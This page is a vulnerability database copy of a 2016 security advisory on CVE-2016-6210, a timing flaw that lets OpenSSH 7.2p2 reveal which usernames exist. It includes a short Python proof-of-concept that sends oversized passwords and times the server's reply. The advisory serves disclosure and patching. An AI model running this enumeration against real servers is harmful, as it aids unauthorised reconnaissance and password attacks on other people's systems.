Lucene search
K

OpenSSHD 7.2p2 User Enumeration

🗓️ 18 Jul 2016 00:00:00Reported by Eddie HarariType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 709 Views

OpenSSHD 7.2p2 User Enumeration, Vulnerable to Username Enumeration Attac

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: IBM Security Network Protection is affected by vulnerabilities in OpenSSH (CVE-2016-6210 CVE-2016-6515 CVE-2016-10009 CVE-2016-10011)
16 Jun 201822:03
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in OpenSSH affects IBM Flex System FC5022 16Gb SAN Scalable Switch (CVE-2016-6210)
31 Jan 201902:25
ibm
IBM Security Bulletins
IBM Security Network Protection / IBM QRadar Network Security / XGS Technote Index
31 Jan 202100:10
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in openssh affect IBM Flex System Manager (FSM)
18 Jun 201801:39
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in OpenSSH affects Power Hardware Management Console
23 Sep 202101:45
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in OpenSSH affects IBM Flex System FC3171 8Gb SAN Switch and SAN Pass-thru firmware.
31 Jan 201902:25
ibm
IBM Security Bulletins
Security Bulletin: Multiple security vulnerabilities have been fixed in products bundled with IBM Security Directory Suite 8.0.1
16 Jun 201822:04
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Access Manager Appliance is affected by OpenSSH vulnerabilities
16 Jun 201822:04
ibm
IBM Security Bulletins
Security Bulletin: Public disclosed vulnerability from OpenSSL and OpenSSH affects IBM Netezza Host Management
18 Oct 201903:36
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in OpenSSH affect PowerKVM
18 Jun 201801:38
ibm
Rows per page
`--------------------------------------------------------------------  
User Enumeration using Open SSHD (<=Latest version).  
-------------------------------------------------------------------  
  
Abstract:  
-----------  
By sending large passwords, a remote user can enumerate users on system that runs SSHD. This problem exists in most   
modern configuration due to the fact that it takes much longer to calculate SHA256/SHA512 hash than BLOWFISH hash.  
  
CVE-ID  
---------  
CVE-2016-6210  
  
Tested versions  
--------------------  
This issue was tested on : opensshd-7.2p2 ( should be possible on most earlier versions as well).  
  
Fix  
-----------------  
This issue was reported to OPENSSH developer group and they have sent a patch ( don't know if patch was released yet).  
(thanks to 'dtucker () zip com au' for his quick reply and fix suggestion).  
  
Details  
----------------  
When SSHD tries to authenticate a non-existing user, it will pick up a fake password structure hardcoded in the SSHD   
source code. On this hard coded password structure the password hash is based on BLOWFISH ($2) algorithm.  
If real users passwords are hashed using SHA256/SHA512, then sending large passwords (10KB) will result in shorter   
response time from the server for non-existing users.  
  
Sample code:  
----------------  
import paramiko  
import time  
user=raw_input("user: ")  
p='A'*25000  
ssh = paramiko.SSHClient()  
starttime=time.clock()  
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
try:  
ssh.connect('127.0.0.1', username=user,  
password=p)  
except:  
endtime=time.clock()  
total=endtime-starttime  
print(total)  
  
(Valid users will result in higher total time).  
  
*** please note that if SSHD configuration prohibits root login , then root is not considered as valid user...  
  
*** when TCP timestamp option is enabled the best way to measure the time would be using timestamps from the TCP   
packets of the server, since this will eliminate any network delays on the way.  
  
Eddie Harari  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation